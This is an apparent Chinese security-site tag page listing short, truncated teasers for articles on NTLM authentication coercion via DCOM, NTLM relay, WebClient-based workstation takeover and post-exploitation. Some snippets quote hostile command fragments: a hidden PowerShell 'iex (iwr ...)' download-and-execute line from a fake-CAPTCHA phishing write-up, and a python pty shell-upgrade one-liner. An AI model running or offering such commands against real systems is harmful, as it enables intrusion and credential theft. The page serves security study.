webclient | CN-SEC 中文网

安全工具

利用 DCOM 进行 NTLM 身份验证强制

RemoteMonologue 是一种 Windows 凭证收集技术，它利用交互式用户 RunAs 密钥并通过 DCOM 强制 NTLM 身份验证来实现远程用户入侵。阅读 X-Force Red 的...

04月25日9 views评论

安全文章

NTLM 中继攻击是一种 MITM 攻击，通常涉及某种形式的身份验证强制，攻击者诱使主机向攻击者控制的机器进行身份验证，然后将身份验证中继到目标设备、资源或服务，从而有效地冒充主机。这种类型的攻击对 ...

12月01日15 views评论

安全文章

女神电脑沦陷记通过邮件发送钓鱼信息访问提示连接不安全跳转验证机器人操作诱导你完成复制粘贴powershell.exe -w hidden -Command "iex (iwr '[https://]2...

09月24日25 views评论

安全文章

在 Active Directory 的默认配置中，可以在其 WebClient 服务运行时远程接管工作站 (Windows 7/10/11) 和可能的服务器（如果安装了桌面体验）。简而言之，这是通过...

06月30日64 views已关闭评论

from:http://evi1cg.meLinuxLinux反弹shell后，方便的交互：python -c 'import pty; pty.spawn("/bin/bash")'WindowsP...

03月17日安全闲碎53 views评论

安全文章

Get-Information：信息收集：包括运行窗口历史记录如：FTP访问、共享连接、putty连接驱动、应用程序、hosts文件、进程、无线网络记录：powershell "I...

12月29日102 views评论